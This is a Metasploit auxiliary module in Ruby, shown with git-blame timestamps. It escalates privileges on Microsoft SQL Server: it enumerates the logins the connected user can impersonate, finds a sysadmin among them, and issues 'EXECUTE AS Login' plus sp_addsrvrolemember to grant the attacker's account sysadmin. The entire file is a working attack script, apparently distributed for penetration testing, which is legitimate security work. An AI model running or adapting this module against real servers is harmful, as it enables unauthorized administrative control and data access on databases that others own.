2014-11-03 17:29:15 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/exploit/mssql_commands'
|
|
|
|
|
2016-03-07 08:56:58 +00:00
|
|
|
class Metasploit < Msf::Auxiliary
|
2014-11-03 17:29:15 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::MSSQL
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-12-09 16:28:45 +00:00
|
|
|
'Name' => 'Microsoft SQL Server Escalate EXECUTE AS',
|
2014-11-10 22:57:57 +00:00
|
|
|
'Description' => %q{
|
|
|
|
This module can be used escalate privileges if the IMPERSONATION privilege has been
|
2014-11-13 20:48:23 +00:00
|
|
|
assigned to the user. In most cases, this results in additional data access, but in
|
2014-11-10 22:57:57 +00:00
|
|
|
some cases it can be used to gain sysadmin privileges.
|
2014-11-03 17:29:15 +00:00
|
|
|
},
|
2014-11-10 22:57:57 +00:00
|
|
|
'Author' => ['nullbind <scott.sutherland[at]netspi.com>'],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' => [['URL','http://msdn.microsoft.com/en-us/library/ms178640.aspx']]
|
2014-11-03 17:29:15 +00:00
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
# Check connection and issue initial query
|
|
|
|
print_status("Attempting to connect to the database server at #{rhost}:#{rport} as #{datastore['USERNAME']}...")
|
|
|
|
if mssql_login_datastore
|
|
|
|
print_good('Connected.')
|
|
|
|
else
|
|
|
|
print_error('Login was unsuccessful. Check your credentials.')
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Query for sysadmin status
|
|
|
|
print_status("Checking if #{datastore['USERNAME']} has the sysadmin role...")
|
|
|
|
user_status = check_sysadmin
|
|
|
|
|
|
|
|
# Check if user has sysadmin role
|
|
|
|
if user_status == 1
|
|
|
|
print_good("#{datastore['USERNAME']} has the sysadmin role, no escalation required.")
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
else
|
|
|
|
print_status("You're NOT a sysadmin, let's try to change that.")
|
|
|
|
end
|
|
|
|
|
|
|
|
# Get a list of the users that can be impersonated
|
|
|
|
print_status("Enumerating a list of users that can be impersonated...")
|
|
|
|
imp_user_list = check_imp_users
|
|
|
|
if imp_user_list.nil? || imp_user_list.length == 0
|
2014-11-10 22:57:57 +00:00
|
|
|
print_error('Sorry, the current user doesn\'t have permissions to impersonate anyone.')
|
2014-11-03 17:29:15 +00:00
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
else
|
2014-11-04 14:51:27 +00:00
|
|
|
# Display list of users that can be impersonated
|
2014-11-03 17:29:15 +00:00
|
|
|
print_good("#{imp_user_list.length} users can be impersonated:")
|
|
|
|
imp_user_list.each do |db|
|
|
|
|
print_status(" - #{db[0]}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# Check if any of the users that can be impersonated are sysadmins
|
|
|
|
print_status('Checking if any of them are sysadmins...')
|
|
|
|
imp_user_sysadmin = check_imp_sysadmin(imp_user_list)
|
|
|
|
if imp_user_sysadmin.nil?
|
2014-11-10 22:57:57 +00:00
|
|
|
print_error('Sorry, none of the users that can be impersonated are sysadmins.')
|
2014-11-03 17:29:15 +00:00
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Attempt to escalate to sysadmin
|
|
|
|
print_status("Attempting to impersonate #{imp_user_sysadmin[0]}...")
|
|
|
|
escalate_status = escalate_privs(imp_user_sysadmin[0])
|
|
|
|
if escalate_status
|
|
|
|
# Check if escalation was successful
|
|
|
|
user_status = check_sysadmin
|
|
|
|
if user_status == 1
|
|
|
|
print_good("Congrats, #{datastore['USERNAME']} is now a sysadmin!.")
|
|
|
|
else
|
2014-11-10 22:57:57 +00:00
|
|
|
print_error('Fail buckets, something went wrong.')
|
2014-11-03 17:29:15 +00:00
|
|
|
end
|
|
|
|
else
|
2014-11-10 22:57:57 +00:00
|
|
|
print_error('Error while trying to escalate privileges.')
|
2014-11-03 17:29:15 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
|
|
|
# Checks if user is a sysadmin
|
|
|
|
def check_sysadmin
|
|
|
|
# Setup query to check for sysadmin
|
|
|
|
sql = "select is_srvrolemember('sysadmin') as IsSysAdmin"
|
|
|
|
|
|
|
|
# Run query
|
|
|
|
result = mssql_query(sql)
|
|
|
|
|
|
|
|
# Parse query results
|
|
|
|
parse_results = result[:rows]
|
|
|
|
status = parse_results[0][0]
|
|
|
|
|
|
|
|
# Return status
|
|
|
|
return status
|
|
|
|
end
|
|
|
|
|
|
|
|
# Gets trusted databases owned by sysadmins
|
|
|
|
def check_imp_users
|
|
|
|
# Setup query
|
|
|
|
sql = "SELECT DISTINCT b.name
|
|
|
|
FROM sys.server_permissions a
|
|
|
|
INNER JOIN sys.server_principals b
|
2014-11-04 14:51:27 +00:00
|
|
|
ON a.grantor_principal_id = b.principal_id
|
2014-11-03 17:29:15 +00:00
|
|
|
WHERE a.permission_name = 'IMPERSONATE'"
|
|
|
|
|
|
|
|
result = mssql_query(sql)
|
|
|
|
|
|
|
|
# Return on success
|
|
|
|
return result[:rows]
|
|
|
|
end
|
|
|
|
|
|
|
|
# Checks if user has the db_owner role
|
|
|
|
def check_imp_sysadmin(trust_db_list)
|
|
|
|
# Check if the user has the db_owner role is any databases
|
|
|
|
trust_db_list.each do |imp_user|
|
2014-11-04 14:51:27 +00:00
|
|
|
# Setup query
|
2014-11-03 17:29:15 +00:00
|
|
|
sql = "select IS_SRVROLEMEMBER('sysadmin','#{imp_user[0]}') as status"
|
|
|
|
|
|
|
|
# Run query
|
|
|
|
result = mssql_query(sql)
|
|
|
|
|
|
|
|
# Parse query results
|
|
|
|
parse_results = result[:rows]
|
|
|
|
status = parse_results[0][0]
|
|
|
|
if status == 1
|
2014-11-04 14:51:27 +00:00
|
|
|
print_good(" - #{imp_user[0]} is a sysadmin!")
|
|
|
|
return imp_user
|
2014-11-03 17:29:15 +00:00
|
|
|
else
|
|
|
|
print_status(" - #{imp_user[0]} is NOT sysadmin!")
|
2014-11-04 14:51:27 +00:00
|
|
|
end
|
2014-11-03 17:29:15 +00:00
|
|
|
end
|
|
|
|
nil
|
|
|
|
end
|
|
|
|
|
|
|
|
def escalate_privs(imp_user_sysadmin)
|
2014-11-04 15:07:08 +00:00
|
|
|
# Impersonate the first sysadmin user on the list
|
2014-11-03 17:29:15 +00:00
|
|
|
evil_sql_create = "EXECUTE AS Login = '#{imp_user_sysadmin}';
|
|
|
|
EXEC sp_addsrvrolemember '#{datastore['USERNAME']}','sysadmin';"
|
|
|
|
|
|
|
|
mssql_query(evil_sql_create)
|
|
|
|
|
|
|
|
true
|
|
|
|
end
|
|
|
|
end
|